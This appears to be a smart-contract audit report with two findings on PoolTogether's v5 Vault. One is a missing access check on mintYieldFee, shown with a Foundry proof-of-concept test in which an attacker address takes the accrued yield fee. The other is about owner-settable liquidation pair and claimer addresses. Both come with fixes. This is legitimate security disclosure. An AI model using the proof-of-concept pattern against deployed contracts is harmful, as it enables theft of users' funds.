PoolTogether - btk's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Vulnerability details

Impact

The current implementation of the Vault allows anyone to call the mintYieldFee() function, hence direct loss of funds. Furthermore, if the vault becomes undercollateralized, there will be no yield left to collateralize it.

Proof of Concept

• The _yieldFeeTotalSupply variable represents the total accrued supply from the yield fee, which serves the purpose of collateralizing the vault if it becomes undercollateralized.

• The _yieldFeeRecipient variable holds the address of the yield fee recipient who receives the fee amount when yield is captured.

_yieldFeeRecipient can withdraw their yield fee through the mintYieldFee() function, and this function is callable by anyone. Here is the current implementation:

  function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

As a result, anyone can mint the yield fee, and when the vault becomes undercollateralized, there will be no yield left to collateralize it.

Here is a coded POC to demonstrate the issue:

  function testMintingYieldFee() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);

    uint256 _amount = 1000e18;

    // The address of the attacker
    address blackhat = makeAddr("blackhat");

    underlyingAsset.mint(address(this), _amount);
    _sponsor(underlyingAsset, vault, _amount, address(this));

    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

    (uint256 _alicePrizeTokenBalanceBefore, uint256 _prizeTokenContributed) = _liquidate(
      liquidationRouter,
      liquidationPair,
      prizeToken,
      _liquidatedYield,
      alice
    );

    assertEq(prizeToken.balanceOf(address(prizePool)), _prizeTokenContributed);
    assertEq(prizeToken.balanceOf(alice), _alicePrizeTokenBalanceBefore - _prizeTokenContributed);

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    assertEq(vault.balanceOf(alice), _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);
    assertEq(_yield, _liquidatedYield + _yieldFeeShares);

    assertEq(vault.liquidatableBalanceOf(address(vault)), 0);
    assertEq(vault.availableYieldBalance(), 0);
    assertEq(vault.availableYieldFeeBalance(), 0);

    vm.stopPrank();

    vm.startPrank(blackhat);

    vault.mintYieldFee(_yieldFeeShares, blackhat);
    assertEq(vault.yieldFeeTotalSupply(), 0);
    // The attacker stole all the yield from the vault successfully
    assertEq(vault.balanceOf(blackhat), _yieldFeeShares);

    vm.stopPrank();
  }

Test Result

Test result: ok. 1 passed; 0 failed; finished in 7.89ms

Test Setup

• Add the test to VaultLiquidateTest.sol
• cd vault
• forge test --match-contract VaultLiquidateTest --match-test testMintingYieldFee -vvvv

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend adjusting the function to:

  function mintYieldFee(uint256 _shares, address _recipient) external {
    require(msg.sender == _yieldFeeRecipient, "Only fee recipient can call this");
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L641-L647 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L665-L683

Vulnerability details

Impact

Vault owners possess the privilege to abuse the system, which can be exploited to cause harm to users.

Note: This is note a centralized risk because each vault will have its own owner, and vaults can be created permissionless.

Warden message:

... If we identify ways that vault owners can abuse their privilege and cause harm to the users, is this something you are interested in?

Sponsor message:

... I encourage you to think outside the box; put that adversarial hat on and see how you can find a way in.

Proof of Concept

As per of the Loom Video both LiquidationPair and Claimer are:

• Singleton per chain
• Autonomous and immuatable

Thus, it is unnecessary to include a privileged function to set them, because if the owner was malicious, he can change the addresses to arbitrary values and thereby blocking user access to the liquidate() function:

  function setLiquidationPair(
    LiquidationPair liquidationPair_
  ) external onlyOwner returns (address) {
    if (address(liquidationPair_) == address(0)) revert LPZeroAddress();

    IERC20 _asset = IERC20(asset());
    address _previousLiquidationPair = address(_liquidationPair);

    if (_previousLiquidationPair != address(0)) {
      _asset.safeApprove(_previousLiquidationPair, 0);
    }

    _asset.safeApprove(address(liquidationPair_), type(uint256).max);

    _liquidationPair = liquidationPair_;

    emit LiquidationPairSet(liquidationPair_);
    return address(liquidationPair_);
  }

and the Claimer.sol contract from calling ClaimPrizes:

  function setClaimer(address claimer_) external onlyOwner returns (address) {
    address _previousClaimer = _claimer;
    _setClaimer(claimer_);

    emit ClaimerSet(_previousClaimer, claimer_);
    return claimer_;
  }

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend removing setClaimer and setLiquidationPair and initialize both Claimer and LiquidationPair in the constructor().

Assessed type

DoS